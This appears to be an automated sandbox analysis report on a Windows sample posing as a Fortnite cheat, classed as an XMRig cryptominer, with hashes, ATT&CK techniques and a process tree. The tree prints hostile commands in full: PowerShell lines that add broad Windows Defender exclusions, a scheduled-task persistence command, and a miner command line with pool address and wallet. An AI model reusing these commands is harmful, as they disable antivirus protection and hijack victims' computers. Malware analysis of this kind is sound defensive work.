xmrig | d3a28b447201702f21bbf9f2bd7acf95962e613632f7b19be41f3636c74a1b72

Analysis

max time kernel
52s
max time network
48s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-12-2024 01:50

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General

Target

FrotniteExternal.exe
Size

37KB
MD5

923d13d8499dd65d87611264a8e43002
SHA1

fcd2ede4ea47146687a642c8f60385e33edc5bb5
SHA256

d3a28b447201702f21bbf9f2bd7acf95962e613632f7b19be41f3636c74a1b72
SHA512

0b103b74f6368e7a46cf9371e534fd28339f1c04712e91de3f7f38ac81e4b9c0a3a5c79fe7e8411ce883038951c07cdee7b8944380e65e56d171e2103c2f4582
SSDEEP

768:whrLAIpwTDqbVLiqy64839q9Mq/oiE9aycHGj:oeqB2qy6x81O

Score

10^/10

xmrig execution miner persistence

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral2/memory/3204-117-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3204-119-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3204-132-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3204-131-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3204-135-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3204-133-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3204-134-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3676	powershell.exe
4740	powershell.exe
4060	powershell.exe
3640	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	FrotniteExternal.exe

Executes dropped EXE 3 IoCs

pid	Process
1196	cm2.exe
2496	services64.exe
3624	sihost64.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FortniteExternal = "C:\\Windows\\system32\\FortniteExternal.exe"	FrotniteExternal.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File created	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe
File created	C:\Windows\system32\FortniteExternal.exe	FrotniteExternal.exe
File opened for modification	C:\Windows\system32\FortniteExternal.exe	FrotniteExternal.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3972 set thread context of 3204	3972	conhost.exe	122

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	FrotniteExternal.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3492	schtasks.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1856	conhost.exe
3676	powershell.exe
3676	powershell.exe
4740	powershell.exe
4740	powershell.exe
3972	conhost.exe
3972	conhost.exe
4060	powershell.exe
4060	powershell.exe
3640	powershell.exe
3640	powershell.exe
3204	notepad.exe
3204	notepad.exe
3204	notepad.exe
3204	notepad.exe
3204	notepad.exe
3204	notepad.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1856	conhost.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	3972	conhost.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeLockMemoryPrivilege	3204	notepad.exe
Token: SeLockMemoryPrivilege	3204	notepad.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 3252 wrote to memory of 1196	3252	FrotniteExternal.exe	84
PID 3252 wrote to memory of 1196	3252	FrotniteExternal.exe	84
PID 3252 wrote to memory of 3556	3252	FrotniteExternal.exe	88
PID 3252 wrote to memory of 3556	3252	FrotniteExternal.exe	88
PID 1196 wrote to memory of 1856	1196	cm2.exe	97
PID 1196 wrote to memory of 1856	1196	cm2.exe	97
PID 1196 wrote to memory of 1856	1196	cm2.exe	97
PID 1856 wrote to memory of 2636	1856	conhost.exe	98
PID 1856 wrote to memory of 2636	1856	conhost.exe	98
PID 2636 wrote to memory of 3676	2636	cmd.exe	100
PID 2636 wrote to memory of 3676	2636	cmd.exe	100
PID 1856 wrote to memory of 3976	1856	conhost.exe	101
PID 1856 wrote to memory of 3976	1856	conhost.exe	101
PID 3976 wrote to memory of 3492	3976	cmd.exe	103
PID 3976 wrote to memory of 3492	3976	cmd.exe	103
PID 2636 wrote to memory of 4740	2636	cmd.exe	104
PID 2636 wrote to memory of 4740	2636	cmd.exe	104
PID 1856 wrote to memory of 864	1856	conhost.exe	111
PID 1856 wrote to memory of 864	1856	conhost.exe	111
PID 864 wrote to memory of 2496	864	cmd.exe	113
PID 864 wrote to memory of 2496	864	cmd.exe	113
PID 2496 wrote to memory of 3972	2496	services64.exe	117
PID 2496 wrote to memory of 3972	2496	services64.exe	117
PID 2496 wrote to memory of 3972	2496	services64.exe	117
PID 3972 wrote to memory of 4752	3972	conhost.exe	118
PID 3972 wrote to memory of 4752	3972	conhost.exe	118
PID 4752 wrote to memory of 4060	4752	cmd.exe	120
PID 4752 wrote to memory of 4060	4752	cmd.exe	120
PID 3972 wrote to memory of 3624	3972	conhost.exe	121
PID 3972 wrote to memory of 3624	3972	conhost.exe	121
PID 4752 wrote to memory of 3640	4752	cmd.exe	123
PID 4752 wrote to memory of 3640	4752	cmd.exe	123
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122
PID 3972 wrote to memory of 3204	3972	conhost.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\FrotniteExternal.exe
"C:\Users\Admin\AppData\Local\Temp\FrotniteExternal.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Users\Admin\AppData\Local\Temp\cm2.exe
  "C:\Users\Admin\AppData\Local\Temp\cm2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\cm2.exe"
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1856
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2636
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3676
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4740
  - - C:\Windows\System32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3976
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3492
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c "C:\Windows\system32\services64.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:864
    - - C:\Windows\system32\services64.exe
        
        C:\Windows\system32\services64.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2496
      - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        6⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3972
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3640
        
        C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        7⤵
        Executes dropped EXE
        
        PID:3624
        
        C:\Windows\System32\notepad.exe
        
        C:\Windows/System32\notepad.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10343 --user=88SnrVgESxo4oqDueYzTEcYaJJR5sQpBAJwk5bMuskEg9jWfT5X5eYvhdPu8vWPBV1Tqbx31GitQURNLmvKkBtH5QsY6dN3 --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
539B

MD5
b245679121623b152bea5562c173ba11

SHA1
47cb7fc4cf67e29a87016a7308cdb8b1b4dc8e3d

SHA256
73d84fd03e38f1bbf8b2218f8a454f0879051855252fc76b63f20f46e7fd877f

SHA512
75e46843b1eafcc7dc4362630838895b7f399e57662a12bf0305a912c8e726b02e0a760b1b97a2c262b2d05fdb944b9ed81c338ad93e5eb5cb57bc651602e42c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d8cb3e9459807e35f02130fad3f9860d

SHA1
5af7f32cb8a30e850892b15e9164030a041f4bd6

SHA256
2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

SHA512
045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0226685f1147e3a1a4dcf62ad8a59da1

SHA1
146afa36fd4e06472eaf86ceaa77bdf3ade1f41c

SHA256
88c4b71603316658e178872b7e415a4b9023a0e0979661208946b97ba97ea4e6

SHA512
c83051066fe1a24be60793afd4be5e88882beb9f3975a63a64040097b2a78f99c7f24e3a0ab864bdf1ea6a9e64e7ef86fa7c7dcb558db0ea34936dfcb429dc87

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j0nms0cw.ajn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cm2.exe

Filesize
2.1MB

MD5
a954a23215467586a71022e732b23a8d

SHA1
c089a6662e8f7bac5ec791b80ec81b77e20bdff4

SHA256
007e711c06244bbbbf534b878d665ee0f17abbac80c7d4fb794f357684151751

SHA512
e44f9f8aebebbb7a5559b67fe6824cc5637a8961aae2e929bdabfc0720b2b10ae70d7bcb9c132f1a3d6532848184bb3b9ec4f59a11d523dd215173df676860b9

Download Submit
C:\Windows\System32\Microsoft\Libs\sihost64.exe

Filesize
32KB

MD5
76dd3f5cec238575932dfbe21ff77b71

SHA1
100b90b4c2880405683177513f5ef170257af160

SHA256
1e5758dc2cf566629840cf437aadc72f4d5850bea3017f0751c30294989ea348

SHA512
0c7d15ff6afe065fec4a20072f909663e2e048582ddfe34d15901cd7e16c4a8ac7911791191d01d5be496b6d1fb4b9492ecc8e271c28ffc263a2cdb4faa7e5d6

Download Submit
memory/1856-70-0x00007FFA379E3000-0x00007FFA379E5000-memory.dmp

Filesize
8KB

Download
memory/1856-40-0x00007FFA379E3000-0x00007FFA379E5000-memory.dmp

Filesize
8KB

Download
memory/1856-45-0x00007FFA379E0000-0x00007FFA384A1000-memory.dmp

Filesize
10.8MB

Download
memory/1856-44-0x00007FFA379E0000-0x00007FFA384A1000-memory.dmp

Filesize
10.8MB

Download
memory/1856-43-0x00007FFA379E0000-0x00007FFA384A1000-memory.dmp

Filesize
10.8MB

Download
memory/1856-71-0x00007FFA379E0000-0x00007FFA384A1000-memory.dmp

Filesize
10.8MB

Download
memory/1856-78-0x00007FFA379E0000-0x00007FFA384A1000-memory.dmp

Filesize
10.8MB

Download
memory/1856-42-0x00000200F46C0000-0x00000200F46D2000-memory.dmp

Filesize
72KB

Download
memory/1856-41-0x00000200F5290000-0x00000200F54B0000-memory.dmp

Filesize
2.1MB

Download
memory/1856-39-0x00000200F2740000-0x00000200F2961000-memory.dmp

Filesize
2.1MB

Download
memory/3204-117-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3204-120-0x0000017309C90000-0x0000017309CB0000-memory.dmp

Filesize
128KB

Download
memory/3204-119-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3204-132-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3204-131-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3204-135-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3204-133-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3204-134-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3676-46-0x00000257F9770000-0x00000257F9792000-memory.dmp

Filesize
136KB

Download